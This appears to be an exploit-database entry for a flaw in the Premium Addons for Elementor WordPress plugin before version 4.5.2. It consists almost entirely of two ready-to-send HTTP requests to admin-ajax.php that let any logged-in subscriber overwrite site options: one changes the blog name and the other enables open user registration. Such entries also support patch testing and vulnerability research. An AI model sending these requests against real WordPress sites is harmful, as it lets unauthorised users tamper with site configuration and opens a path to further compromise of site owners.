Exploit for Premium Addons for Elementor < 4.5.2 - Subscriber+ Arbitrary Blog Option Update

## https://sploitus.com/exploit?id=WPEX-ID:2E5B3608-1DFC-468F-B3AE-12CE7C25EE6C
Change the Blogname to '1'

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 46
Cookie: [any authenticated user]
Connection: close

action=pa_dismiss_admin_notice&notice=blogname


To enable registration:

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 46
Cookie: [any authenticated user]
Connection: close

action=pa_dismiss_admin_notice&notice= users_can_register